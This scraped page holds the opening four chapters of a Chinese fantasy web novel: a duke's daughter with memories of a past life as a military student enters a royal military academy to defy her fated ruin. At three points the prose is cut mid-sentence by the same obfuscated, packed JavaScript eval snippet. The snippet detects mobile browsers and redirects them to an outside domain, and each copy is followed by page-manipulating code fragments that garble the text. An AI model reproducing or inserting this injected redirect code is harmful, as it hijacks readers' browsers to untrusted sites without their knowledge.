《恶役千金要造反 [西幻]》 1. 偏离值：0% 好冷。 四肢无比沉重，她感觉到体温正在渐渐流失，生命之火宛如一点残烛，奄奄一息。 那个小孩应该得救了吧——她做到了。 太好了。 尽管她就要死了。 意识飘忽之间，她像是被拉入了另一个世界。 黑暗的小巷子里，她的身体散发出恶臭，昔日精心保养的头发粘连在一起，老鼠正在啃噬她的脚趾。 头发？老鼠？等等，她不是在河里吗？ 这是——公爵千金的末日。 公爵千金？ 冥冥之中似乎有一个声音在说话：这是你的未来。 突然，天旋地转，眼前的黑巷消失了，她身着华服，立于金碧辉煌的大厅中。 “艾莉森.兰卡罗德！你因为嫉妒赛琳.罗德里克，一直对她做很多过分的事情，这样糟糕的品行，不足以成为阿尔特蒂亚的王妃——” “我要和你解除婚约。” “请便，王子殿下，但她是我的人。”极具磁性的嗓音从身后传来，艾莉森回过头，正对上一双金绿色的眸子。 “卡西恩.布莱克，你知道自己在说什么吗？” 黑发的青年牵起她的手，带着她从众目睽睽之下逃离—— “从今以后，我会保护你。”男人温柔地说。 * 眼前的画面如同玻璃碎裂般炸开。 艾莉森.兰卡罗德猛地从床上弹坐了起来，内心的呐喊还没平复，她已经瞥见梳妆镜映出标准的日漫西方美少女脸：蜂蜜色的长发，清澈的蓝眸，肤若凝脂，精致得像是从二次元画板上抠出来的。 这是她自己的脸。 十五岁的一天，某个平平无奇的清晨，她想起了自己的前世。 最初只是一些零星的生活片段，比如说《战役学》（第二版）的封面，参加攀岩社不小心摔下来骨折…… 接下来她想起了，湍急的河流，逐渐沉重的手脚，紧紧抓着自己的孩子。 还有那本漫画，而在死前乘坐的列车上，她看了一本—— 《军神唯爱恶役千金》。 “兰卡罗德家的恶役千金觉醒了前世记忆，想起了自己原是一名普通的社畜上班族，而自己的今生则是从前玩过的乙游《阿尔特蒂亚传奇》中的恶役千金。为了逃避被王子解除婚约然后被家族流放凄惨死去的命运，她成功抱上隐藏男主卡西恩.布莱克的大腿，然后光阴似箭岁月如梭一转眼过去七年，卡西恩成了帝国第一名将，号称“军神”，向艾莉森求婚，两人幸福快乐的生活在了一起。” ——这是那本漫画的剧情简介。 但是，她从来没玩过什么乙游，也不是什么上班族，而是一名国防大学的学生。 记忆的碎片逐渐在她脑中清晰起来。 艾莉森觉得自己要疯了。 她没有变成别人，她仍旧是兰卡罗德家的千金。 就在昨天，她在舞会上将香槟泼到一个小贵族女儿的头上，仅仅因为她撞到了自己。 更早的时候，在和邻国诺森德尔签订互不侵犯条约的宴会上，她因为不擅长该国语言造成了误会，惹怒了大使夫人。 艾莉森当然知道自己在王都的名声—— “王都千金之耻。” “兰卡罗德的毒玫瑰。” “疯子淑女。” 诸如此类，不胜枚举。 ——正是那本漫画里所谓的“恶役”设定。 而记忆里的剧情告诉她—— 再这样下去，她会死。 毫无尊严的，像丧家之犬一样，死在不知名的黑巷。 而如果她想要拯救自己的命运，就需要去讨好某个未曾谋面的男人，等他凯旋归来，救自己脱离苦海。 就在这时，象牙梳子绞住了头发，艾莉森痛得倒抽一口冷气，才从纷乱的思绪里回过神来。 “对、对不起，小姐，我不是故意的！”为她梳头的侍女吓得不轻，却没有等来如平时一样的责骂。 “梅芙，我要去见父亲。” * 高大的男人坐在书房的椅子上，手指轻轻摩挲着黄铜扶手。壁炉里的火光跳跃着，将宽大的书房映照得暖意融融。 坐在她对面的男人——她的父亲威廉.兰卡罗德公爵，以一种审视的目光注视着自己的女儿。他严肃而稳重，深棕色的发丝间已有些许银白，坚毅的面庞上带着战场洗练过的冷峻， “艾莉森，”公爵的声音沉稳低缓，“我最后再问你一次，你真的要去皇家军事学院？” 他停顿了一下，语气少有的严厉，“那里可不是让你谈情说爱的地方，你知道那里的淘汰率是多少吗——就连你的兄长们，也不是轻轻松松就毕业的！” 公爵盯着她，眼中闪过一丝复杂的情绪，叹气道：“我不想你因为一时的执念，走上错误的道路。” 艾莉森知道，父亲口中的执念，指的是埃德蒙.雷恩王子——自己的婚约对象。为了追随那个人，她软磨硬泡，非要父亲送她去皇家军事学院。 但这一次，向来宠爱她的公爵却没有立刻答应。 恐怕父亲已经察觉到了，王室对这桩婚姻的态度有了微妙的变化，这些年未婚夫待她依旧温柔，却有了些刻意的疏远。 如果艾莉森不去军校，大不了少出席一些社交活动，等熬到十八岁，照样能成为王妃； 可一旦她跟在王子身边，处在众人注视之下，像艾莉森这样除了美貌和家世一无是处的千金，要是再出点什么差错，解除婚约是小，更严重的，只怕会让家门蒙羞。 “迄今为止，你的所作所为我都装作不知，但是在皇家军事学院，你将不会被特殊对待，即便你是我的女儿也一样。”公爵沉声道。 艾莉森抬起头，她知道父亲在担心着什么，于是直视着公爵的目光，笑了起来。 “父亲大人，”她开口，声音平稳而坚定，“您还记得，在我八岁时，曾送给我一个水晶魔法沙盘吗？ 兰卡罗德抬眉，没有想到女儿会突然提起这件事。 “那时候，您对我有什么期望呢？”艾莉森的目光，越过兰卡罗德公爵，穿越遥远的时间，落在了很久以前。 年幼的自己，自己曾死死攥着母亲的裙摆，求她不要走。 “母亲，您别走！我再也不捣蛋了！我会当好一个淑女的！” 从那时起，她不再热衷剑术，父亲送的沙盘也被封存—— 其实她一点也不喜欢舞会，也不喜欢那些宝石华服， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15826019|175526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更不喜欢用折扇掩唇，和其他千金们交流社交场上的风流韵事。 她甚至不知道，想要嫁给埃德蒙，是真的出自自己的愿望，还是因为很少回来的母亲，在订婚的那晚，抱着她说： “我的艾莉森要成为王妃了！” 这究竟是母亲想要的，还是她自己的人生呢？ 她强迫自己做那些并不擅长也不喜欢的事，把自己活成一个笑话，说到底也只是想要向母亲证明自己。 但她的努力也好，骄傲也罢，在前世记忆觉醒的刹那被摔得粉碎。 要懂规矩。 要像那个“上班族”一样，懂得隐忍。 要满面笑容，要伏低做小，审时度势，要会读空气，不给别人添麻烦。 否则，就会被所有人唾弃。 前世的自己，不是上班族。 在国防大学，她努力学习，拼命训练，活得骄傲，死得壮烈。 从来不知道，什么叫做—— 低头。 她绝不会人生和命运交给某个男人，王子也好，还是那个什么布莱克也好。 “我并不是为了追随埃德蒙殿下。” 她轻声说道，语气愈发低沉而坚定，仿佛这不仅仅是在回答父亲的疑问，更像是在向某种无形的命运宣誓。“我曾经以为，成为王子的未婚妻、穿上最华丽的裙子、在舞会上跳最优雅的舞步，就是人生最值得追求的荣耀。但如今我明白，那些不过是镀着金边的泡沫，脆弱得经不起一丝风浪。” 她轻轻吸了口气，目光愈发清明：“如果有朝一日，殿下厌弃了我，又或者有朝一日，家族不再能庇佑我——” 公爵皱了皱眉，似乎想要反驳她，但艾莉森却抢先道： “那么我自己呢，作为艾莉森这个人，我又能做些什么？难道我便只能接受命运的安排，什么都不懂，什么都不会，流落街头，落得一个凄惨的下场？” “艾莉森。”公爵的眉头锁得更紧，语气略微低沉了一些，“你说得太过了。你是我的女儿，无论如何，我都不会——” “这能改变什么呢？”艾莉森打断了他，一字一顿地问道，“如果最坏的情况真的发生，您又能为我做什么呢？重新找一个门当户对的贵族男子，再次依靠婚姻去寻求新的栖身之地？”她的声音低沉，却透着一丝锋锐的嘲讽，“且不说被殿下退婚后我是否真能找到理想的人选，哪怕我从此远离王都，您真的认为，仰人鼻息，无法自主的人生就不会再有后顾之忧了吗？” 她要去那所学院，不是为了埃德蒙，也不是为了那个未来可能成为“军神”的男人，只是为了自己。 她要证明，不需要任何人的保护，也能把这该死的命运踩在脚下！ 空气陷入了短暂的寂静，只有墙上老旧钟表的滴答声在时间的缝隙里流淌。 良久，公爵摩挲着手指上镌着家纹的戒指，道：“豪言壮语人人都可以说，但我更相信实绩，皇家军事学院不会留下没有天赋的人。” 艾莉森站起身，行了一个标准的贵族鞠躬礼。 “我不会让您失望的，父亲。” 转身离开，门在她身后缓缓合上。 末了，父亲的声音从背后传来，“艾莉森，你要小心毒蛇家族的人。” 2. 偏离值：0% 阿尔特蒂亚皇家军事学院成立于三百年前，旨在培养能够守护帝国疆土与秩序的军事和政治精英。 学院坐落于王都核心区域，无论是显赫的贵族子弟，还是凭借卓越才能脱颖而出的平民，历代毕业生中，诞生过无数传奇人物，只要能力足够，便能在学院里获得自己的一席之地。 话是这么说—— 学院里八成以上的学生，依旧是贵族子弟。 绝对的平等是不存在的，阶级的差异也代表着教育资源的差异，平民子弟尚在街道上玩丢石头的游戏时，贵族们已经为子女聘请家庭教师了。 贵族新生们由于家族之间的往来，早有了自己的交际圈子。 艾莉森作为兰卡罗德公爵家的千金，有两名在军政上颇具影响力的兄长，出身尊贵，姿容娇好，即便是被称为“毒玫瑰”，也依然有不少人前来攀附。 “兰卡罗德小姐果然和传闻中一样端庄优雅。” 端庄优雅？你确定？艾莉森不禁佩服起她拍马屁不打草稿的本事。 “殿下和您真是天作之合呢。”另一位男学员略带谄媚地说道，“能够与您同窗，实在是我们的荣幸。” 马屁精二号。 艾莉森敷衍地应对着，贵族圈子里的虚伪社交，一如既往地让人疲倦。 “听说布莱克公爵家的那位……也进了学院？”一位贵族少年低声说道。 艾莉森心中一动，布莱克家？ 昨晚的谈话结束，父亲要她小心的“毒蛇家族”，便是布莱克家。 作为帝国的两大贵族世家，布莱克家族和兰卡罗德家就像硬币的正反面，兰卡罗德家将力量视为荣誉和责任，布莱克家则视掌控全局才是真正的强者。 “卡西恩.布莱克？”旁边有人接话道，“那个见不得光的私生子？他也配站在这里？” 在《军神唯爱恶役千金》的里，“卡西恩.布莱克”，正是她摆脱命运束缚的“标准答案”。 她正想打探几句，人群中却传来一阵骚动。 “是埃德蒙殿下！” 微微卷曲的银发宛如日光淬炼的细丝，紫水晶般的眼眸是皇室血统的象征，第一王子，完美的六边形战士——出生，相貌，个人能力都无懈可击。 男主角中的男主角，官配中的官配。 虽说那位女主角，并不是她。 与埃德蒙并肩而行的是另一位浅紫色头发的少年，名叫艾文.费尔南迪,他是王子的好友,也是他的幕僚—— 同时是从前的艾莉森最讨厌的人之一。 他总是用看白痴一样的眼神，挡在自己和埃德蒙之间。 那两人正聊着天，一转头便看见了迎面走来的艾莉森,艾文脸上的表情瞬间微妙起来,推了推眼镜，毫不掩饰脸上的防备和鄙夷。 你至于把“倒霉，遇到她了”表现得那么明显吗？ 埃德蒙也看见了她，紫水晶般的眼底泛出一丝不易察觉的微妙情绪。 “艾莉森。”王子主动开口，语气平稳，带着完美的社交笑容：“很高兴能在这里见到你。” 艾莉森收回心中的吐槽，按照此前学院手册中学生之间的礼仪向他问候：“殿下，许久不见。” 埃德蒙见她应对还算得体,暗自松了口气。 他的这位未婚妻实在是让人头疼—— 她曾在他练剑时，擅自将自己随手放置的手帕收走，换成自己的，再在贵族圈子里四处炫耀，宣称:“殿下已经与我交换了信物。” 在某次正式的外交舞会上，她冷眼扫视每一位接近王子的贵族小姐，甚至公然出言不逊，毫不掩饰自己的敌意，其中包括一位邻国大使的未婚妻…… 埃德蒙并不愿意用“愚蠢”去形容一位名门淑女,宁愿相信她只是被“王子未婚妻”这个身份冲昏了头,但当他听说艾莉森追着他来了皇家军事学院,还是难免错愕。 希望她不要做出太出格的举动。 他们的婚约本质上是政治考量的产物，如果艾莉森一直不知分寸，她是否还有资格成为未来的王妃，恐怕还是一个问号。 “恭喜你顺利入学，希望在未来三年，我们都能有所收获。”埃德蒙说着着标准的外交辞令。 “承蒙殿下关心，我会努力的。” 这段对话过于官方与克制，完全不像是相识已久的未婚夫妻,甚至显得刻意的疏远，让现场的氛围变得有些尴尬。 “啊啊啊啊啊啊啊！！！！要迟到了！！！！” 一道清脆又带着些夸张的叫声由远及近传了过来。 伴随着急促的脚步声,一名同样也穿着皇家军事学院制服的少女旋风一样地冲向众人，然后,毫无悬念地在艾莉森和埃德蒙之间狠狠摔了一跤。 不论哪方面,都摔出了王道剧本的仪式感。 这出场也太经典了吧。 艾莉森几乎要鼓起掌来。 少女揉了揉摔痛的额角，微微抬头，柔顺的栗色长发衬得她的蓝色大眼睛愈发清澈透亮，因为刚才摔倒的缘故，眼角还泛着几滴生理性的泪水，整个人显得楚楚可怜。 默认名字——赛琳·罗德里克。 《阿尔特蒂亚传奇》里，在那个经典的解除婚约之夜，被埃德蒙王子护在身后，充满圣母光辉的柔弱少女，也是《军神唯爱恶役千金》里的绿茶心机恶毒女配。 “抱、抱抱抱歉！！”她慌张地爬起来，一边猛地鞠躬，一边语无伦次地道歉，“我、我跑得太快了！！” 然而，她的慌张与无辜并没有让所有人都买账。 刚才那位马屁精二号猛地向前一步，语气严厉：“放肆！你知道自己冲撞的是谁吗？” 他目光冷厉地扫向赛琳，声音中带着些不加掩饰的鄙夷：“站在你面前的可是埃德蒙殿下，以及兰卡罗德公爵家的大小姐！你是何人，竟敢如此莽撞？” 赛琳明显被他的怒斥吓了一跳，整个人微微颤了一下，茫然地眨了眨眼。 “我……我不是故意的……” 她的嗓音本就软糯，配合上那双水雾弥漫的蓝色眼睛，瞬间呈现出一种受惊小动物般的脆弱感。 艾莉森居高临下地看着她，在这个场景里，赛琳是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15826020|175526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天真善良误入贵族世界的纯真少女，而以自己的形象，但凡指责一句，就能坐实“恶役反派”的标签。 作为一个标准的反派，她甚至都不需要自己动手，自有跟班挺身而出。 “既然不是故意的，就该更懂得谨言慎行——” “够了。” 一道平静而威严的声音打断了他。 埃德蒙略微抬手，语气里满是温柔和包容：“不必多说，意外而已。” 方才斥责赛琳的贵族少年闻言，忙低下头：“殿下仁慈。” 女主角愣愣地对上埃德蒙的目光，似乎没想到自己会被如此宽容地对待。 埃德蒙侧头看向艾莉森，开口道：“在皇家军事学院,同学之间，不必太过强调彼此身份的差别。”他微微一笑，温润如玉，彬彬有礼，语气中却带着些近乎无害的提醒：“不必小题大作。” 他与其说是在提醒那名贵族少年，不如说是在警告自己别做蠢事。 艾莉森深吸一口气，尽量露出一个属于“千金”的宽厚笑容：“殿下说得有理，我相信他们会妥善处理。” “那就好。”埃德蒙微微颔首，满意地笑了笑，“我当然也希望，你能继续保持这样的风度。” 赛琳眨了眨眼，有些不明所以。 但艾莉森却知道，这话是冲着自己来的。 “时间不早了，我们该前往礼堂了。” 原本还有些喧嚣的气氛立刻安静了几分。 艾莉森瞥了埃德蒙一眼——从前她只注意他优雅温和的态度和闪耀的容姿,但如今换个角度观察,才发现这位王子可真是滴水不漏。 不光化解了方才的尴尬，还自然而然地成为了新生中的领头者,甚至特意提及了“我们”，暗示哪怕是出身平民的学生，也可以一同前往，而不会被有意忽略。 微不足道的一点善意，却足够收买人心—— 最典型的例子便是这位赛琳.罗德里克。 她有些愣愣地望着埃德蒙，嘴巴微微张开，似乎还沉醉在王子殿下的风度与包容中。 埃德蒙停下脚步，侧头看向她，伸手邀请道：“一起来吧。” 赛琳的脸颊迅速浮起羞涩的红晕，连忙点头：“好、好的！” 这倒是不能怪他，王子的笑容，实在是蛊惑人心。 艾莉森正要和众人一起前往礼堂，冷不防地，她感受到一道视线。 仿佛被野兽盯上的猎物，规避危险的本能让她不由得停下脚步，回过头去。 一个身材纤长的黑发少年，斜倚在走廊的大理石柱子上，金绿色的眸子晦暗不明，像头蛰伏在阴影里的豹子。 他似乎早就站在那里，观察这场闹剧，直到她注意到自己。 见艾莉森看他，那人笑了起来，带着毫不掩饰的讥讽。 “你是谁？” 艾莉森开口问道，但内心的直觉却告诉了她答案—— “卡西恩.布莱克，能见到传闻中尊贵的兰卡罗德小姐，真是不胜荣幸。” 少年勾起唇角，明明是恭维的话，却像在挑衅一般。 3. 偏离值：1% 卡西恩.布莱克在新生中是相当突出的一个人。 起初，只是因为他那敏感的身份。 作为布莱克家族的私生子，在不少人看来，他不过是布莱克公爵在帝国军队中的一枚暗棋罢了。毕竟同样在学院就读的卡洛.布莱克，才是公认的布莱克继承人。 没有人会期待一个赝品的表现。 然而，卡西恩很快就用实际行动击碎了所有轻视他的目光。 他并非自开始便精通一切，也曾在初期课程中表现出些许生涩，可他的成长速度简直骇人听闻——无论是体能、剑术、亦或是战略战术，他都表现出了过人的天赋,。 而卡西恩最喜欢做的事，便是击碎那些曾对他出言不逊的贵族子弟的自尊，让他们在崩溃中尝尽惨败的滋味。 艾莉森关注他，则是因为此前的记忆里，他才是《军神唯爱恶役千金》里的男主角。 用她前世的话来说，卡西恩这叫做“开挂”。 那破漫画对男主的偏爱真是显而易见啊。 艾莉森有些头疼地想，自己怎么就没个女主光环呢？ 原本以为前世记忆会让自己在这里如鱼得水，然而现实却狠狠给了她一记耳光。阿尔特蒂亚的军事体系与国防大学的现代化训练大相径庭，更别提那令她头疼的魔法课—— 通常而言,魔法来源于家族的血脉传承,平民之中偶有天赋异禀的人，也会被特招进入学院。 而艾莉森的魔法才华，无限接近于零。 而在另一门学院最重视的战术课程上，她又又又又又和教官吵了起来。 西蒙.麦克雷准将的脸宛如古老岩石一般,白胡子因为不满而微微颤抖着。 “兰卡罗德小姐,这是什么？”老师的声音低沉而威严，他背着手站定,轻蔑地睨视着艾莉森的沙盘。 “在正面战场采取游击方式，利用伪装成农民的士兵绕至后方，切断敌方补给，我认为这是能最大减少伤亡，迅速取得胜利的方式，麦克雷老师。” 老麦克雷的眉毛皱的几乎可以拧出水来。 “游击？你的主力溃败了吗？兰卡罗德小姐？” 艾莉森毫不畏惧地迎上他的目光，语气依旧平静：“可战争并不是骑士比武，我认为绕后游击，能够减少主力的伤亡” “这场沙盘演练是要你们推演正面战场上兵种之间对抗，设计最合适的阵型！你的战术不一定能有实施的条件！更何况战场不仅仅是厮杀，也是荣耀的舞台——军人的职责便是战斗，而战斗就意味着牺牲。在战场上，过于关注个体的生死会让我们失去大局观！” “但并不代表我们要毫无意义地牺牲。”艾莉森并没有被麦克雷的长篇大论吓倒，反驳道，“如果能用最小的代价换取胜利，为什么非要用士兵的生命去填补战场？” “因为士兵的牺牲，才是战争的本质！”麦克雷的声音陡然提高，目光犹如鹰隼般凌厉，“战争不是阴谋家的游戏，而是血与火的较量！一个军人若不敢正面迎敌，不去相信自己的牺牲是有意义的，他永远不会成为真正的战士。兰卡罗德小姐,理想主义不适合战争。它残酷、冰冷，充满了无法回避的牺牲。您需要学会接受这一点。” 艾莉森在心中暗自叹了口气，最后一次试图说服这位老将：“麦克雷老师，我尊重您的观点。但战争的胜负并不取决于哪一方流的血更多，而是取决于哪一方能活到最后。” 麦克雷冷哼一声，目光沉沉地盯着她。他不敢相信，这样一个小姑娘,居然敢公然挑战他作为帝国将军的权威：“兰卡罗德小姐，战场不是耍嘴皮子，您能够坐在这个教室里，正是由于前人的牺牲。” 周围的学生有些窃窃私语，她竟然敢质疑西蒙.麦克雷的判断? 麦克雷抬了抬手，示意学生们安静，冷冷对艾莉森说道：“争论到此为止，年轻人，重新推演你的沙盘，否则我不确定你是否能最终通过这门课程。” “我明白了，老师。”艾莉森叹了口气，。 课程结束后，艾莉森的长靴烦躁地踏过走廊的石板路，入学前跟父亲许下了豪言壮语,如今却要担心这一年的成绩全面飘红。 不知不觉间，她走到学院里一条人迹罕至的林荫道。 “……你不过是个新生，有什么好狂的？” 前方的传来叫骂声。 “卡洛还是这么沉不住气啊。” “只是想让你搞清楚，这里不欢迎杂种。” 紧接着，便是一阵喧哗，伴随着各种痛呼。 那个声音十分熟悉，再加上“卡洛”，“杂种”，这些关键词，闹事者的身份呼之欲出。 艾莉森转身便要走。 “怎么了，兰卡罗德家的大小姐，来都来了，不看完吗？” 果不其然，卡西恩正悠然地靠在前方的梧桐树上，夕阳为他的镀上一层金边，消减了几分阴鹫的气质——他的长相并不比埃德蒙英俊，却有着危险而神秘的魅力，尤其是那双金绿色的眼镜，仿佛能直接看穿人心一般，有着与年龄不合的深沉。 简直就像是专程在这里等着她一样的好整以暇——如果不是脚底下还躺着几个高年级倒霉蛋的话。 ……见鬼。 这不就是《军神唯爱恶役千金》里两人邂逅的场景吗？！在那个故事中，少女在金色夕阳下邂逅了避开人群却遭遇霸凌的孤独少年，即时制止了不当行为，扭转了自己在男主心中的形象，并直截了当地表达了自己对成为王妃并无兴趣，反而愿意投资卡西恩的未来—— 虽说根据前世记忆的提示，抱紧这位的大腿可以让艾莉森直通衣食无忧性命无虞的未来。 但她对此没什么兴趣。 父亲的忠告，以及卡西恩本人那有仿佛把野心写在脸上的危险性格。 都让艾莉森对这位“男主角”敬而远之。 一个注定未来会成为“军神”的男人，她可不信这人会像原著漫画里那样，是个恋爱脑。 “抱歉打 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艾莉森心中警铃大作，她故作不耐地翻了个白眼：“这是我和殿下之间的事，跟你有什么关系？” 卡西恩的目光犀利如刃：“哦？恕我直言，除了您入学时那匆匆一面，殿下似乎再没有私下与您见面。这样冷淡的未婚夫，您还坚定不移地要嫁给他吗？” 艾莉森的指尖微微收紧，但随即嗤笑：“那是自然，不嫁给殿下，难不成还要嫁给你吗？” 她本想以轻蔑的态度让他知难而退，然而卡西恩却逼近一步，将她困在自己和梧桐树之间的间隙里。 他的身量比艾莉森高了不少，影子将她笼罩其下。 “不如考虑一下？” “放肆！” 艾莉森心知不能在气势上落入下风，语调拔高，“你以为皇室和兰卡罗德家的盟约……” “兰卡罗德小姐，我以为这是‘你和殿下之间的事’？”卡西恩嘴角扬起一丝意味深长的笑，退后一步，“看来，您自己也并不那么笃定。” 艾莉森抿嘴不言，她明白，这个人在试探她。她必须更加谨慎，才能不落入他的节奏。 “身为贵族，本就该为了家族荣誉奉献自身。”她冷道，试图用高傲的姿态掩饰内心的波动。 “是吗？您口中的‘荣誉’，不如说是‘利益’来得更贴切。”卡西恩的语气带着几分讥笑 “随你怎么说。如果没有别的事情，我要走了。” 艾莉森不愿再和他纠缠。和卡西恩这种人,多说多错。 “请吧，兰卡罗德小姐。不过，我们恐怕还会有很多机会交流。”卡西恩微微一躬身，语调平静，金绿色的眼睛，却透出一丝不易察觉的锋芒，“我很乐意为您参谋，不论是为您和殿下的婚约，还是如您所说，为了家族的‘荣誉’——” 艾莉森只觉得背后升起一股寒意。 “我会为您和兰卡罗德公爵大人，送上红宝石的双头蛇桂冠。” 4. 偏离值：1% 红宝石双头蛇桂冠。 布莱克家的家徽。 艾莉森回到宿舍，仔细回味着卡西恩的话，多少猜测出几分他接近自己的意图。 ——他想要兰卡罗德家的助力。 原作之中，卡西恩凭借恶役千金的偏爱，借助兰卡罗德家的力量成为了布莱克家的家主，并在帝国军队中站稳了脚跟。 恶名昭著的女人得到了所谓的幸福归宿，而兰卡罗德家也顺势铲除政敌，缔结了全新的盟约,最后的HE在浪漫的表象之下，也不过是利益交换。 用前世的话来说,卡西恩这算是靠女人上位,妥妥的赘婿文学。 哪怕在架空的世界里，权势与婚姻的本质都未曾改变。 只要她还姓兰卡罗德，便不可能摆脱家族的影响。 如果她的未来不想在那两个既定结局中二选一，她还能做什么？ 她当然不会傻到以为卡西恩真要向自己求婚,但无论合作与否,贸然行动只会让自己陷入被动。 ——被卡西恩盯上实在是太危险了，她可不想成为那人上位的台阶。 艾莉森不禁有些怀念前世单纯的学园生活，皇家军事学院这鬼地方，说是学校，却到处都是心怀叵测的家伙。 她重重地叹了口。 “艾莉森，你怎么了？怎么突然叹气了？” 她和赛琳在同一间宿舍。 按说艾莉森是可以像其他贵族学生一样，向学院申请单间，但当她看见自己的舍友居然是“那个”赛琳的时候，好奇心还是占据了上风—— 无论她怎么抗拒，自己似乎总能遇到那些“命中注定”的人和事，像是有无形的手在试图把她拉回轨道。 艾莉森关于前世记忆的许多细节已经模糊,但如果能多多观察赛琳，多少能窥探到一点点命运的走向。 这样一来，也好提前有所准备。 但接触下来，艾莉森发现，赛琳.罗德里克完全就是王道系女主角，善良正直，温柔勤勉,即便知道室友是臭名昭著的"兰卡罗德千金",也依然用平和的态度对待。 比起埃德蒙殿下或者卡西恩.布莱克这种说话带着八百个心眼子的人,艾莉森觉得和可爱纯真的女孩相处要轻松得多。 “没事，只是觉得有些疲倦。” 艾莉森不想让舍友为自己担心，随口应付道。 “我特别理解。”赛琳有些不好意思地笑了笑，“毕竟，皇家军事学院的课程对我们这些新生来说，真的很严格……特别是像战略演练课。” 赛琳的话提醒了她，让艾莉森一时有些头疼。 虽说她看见的既定未来就像是悬在头上的达摩克里斯之剑，让她必须小心谨慎，不可一步踏错，但眼前最大的问题，还是学业。 她在父亲面前夸下海口，要成为最优秀的毕业生之一，但现在—— 最重要的战略和魔法，她目前的成绩都不理想，加上她之前在课堂上和麦克雷准将争吵的“丰功伟绩”，学院里已经有好事者暗中称她为“草包千金”了。 这是她第几个别称来着？ “我尊重麦克雷老师，但是我们想法不一样。”艾莉森尽量委婉地说。 岂止是不一样，根本是天差地别。 “艾莉森很厉害！”赛琳一脸崇拜“能和麦克雷老师讨论得那么激烈！” 艾莉森无语——那叫激烈吗？她分明是被麦克雷准将骂得抬不起头，什么“愚蠢”，“天真”，“不切实际”…… 赛琳低下头，神色有些沮丧：“不像我……我对战略什么的完全不在行，别说跟老师讨论了，我根本看不懂那些复杂的沙盘演练……” 赛琳能够被选拔入学,天赋不低,但课程的难度却依然不容小觑。 三年课程，贵族学生的淘汰率在三成左右，而本就不多的平民学生，则会有七成左右会被淘汰。学院“不论身份贵贱，只论实力”的理念，不过是空中楼阁。 据艾莉森所知，赛琳的成绩……只能用惨不忍睹来形容。 “别这么说，如果你有需要的话，战略课有任何问题，随时欢迎来……呃,如果你不介意的话。"艾莉森有些底气不足,再和麦克雷老师吵下去,她恐怕也自身难保。 “真的吗？艾莉森小姐！我以为，以为……”赛琳感动得几乎要落下泪来，“我以为除了殿下，没有人会帮我，可是殿下又那么忙……” “埃德蒙殿下，帮你？”艾莉森敏锐地捕捉到了赛琳话中的关键词，挑了挑眉。 赛琳急忙解释：“你千万不要误会，艾莉森小姐！只是有好几次在图书馆偶遇殿下，他见我实在是被战略课的作业折磨得头疼，就指点了我几句！！真的就几句话！！没有别的！！” 艾莉森摆了摆手，宽慰她道：“别担心，我也没有其他意思，殿下一向平易近人。” 埃德蒙除了面对学院繁重的课业，又要处理部分政务，忙得脚不沾地，在学院里难得一见—— 赛琳却能“巧合”地偶遇他，还不止一次？ 是原作的影响？还是埃德蒙殿下有意为之？亦或是赛琳主动接近他？ 她揉了揉额角，希望只是自己想太多了。 ——和卡西恩那段对话，让她有些草木皆兵。 “殿下是我见过最英俊，最仁慈，最聪明，最宽厚的人了…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15826022|175526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”赛琳眨巴着星星眼，毫不掩饰对埃德蒙的崇拜。她真诚地握住艾莉森的手，语气笃定，满是憧憬，像是在祭坛前宣布神谕一般庄重：“……你们二人真的十分般配！” “哈、哈哈……”艾莉森只能用尬笑掩盖内心的无语—— 她不愿意再讨论埃德蒙，干脆主动转移话题： “不说这个了，赛琳，下个月就是新生第一次实战演练，你已经有组队的人选了吗？” 赛琳闻言一愣，脸上的光辉瞬间暗淡了几分：“……还没有。” 皇家军事学院十分重视学生们的实战经验，战略课安排了大量模拟演习，月末的实战演练更是重中之重。通常由高年级生带领新生组队，执行教官设置的战术目标。 这不仅是对综合能力的考验，还是评级的重要指标。学生们可以自由组队，也可以等到最后由教官分配成员。只不过，几乎没有人愿意将自己的前途交到陌生人手里，大部分人都优先选择熟悉的朋友，确保默契。 如果演练的成绩够亮眼,逆风翻盘也不是问题。 平日里围着艾莉森拍马屁的人也不少，但到了这种关键时刻，没人愿意找她——一个魔法课垫底，战略课上又经常提出惊世骇俗想法的“草包千金”。 想到这里，她索性笑着问道：“那要不要和我组队？” “欸？我可以吗？”赛琳的脸上浮现出惊喜，随即又有些犹豫，“艾莉森小姐，要不然我们先去模拟战练习室试试配合吧？我不想拖你的后腿……” “当然。”艾莉森爽快答应。 然而—— 当她站在训练场上，看着赛琳手中的魔法蓄势待发时，脸上的笑容有些凝固了。 这是什么人形自走重武器啊？！ 她终于明白为什么其他平民学生不愿意和赛琳组队了。 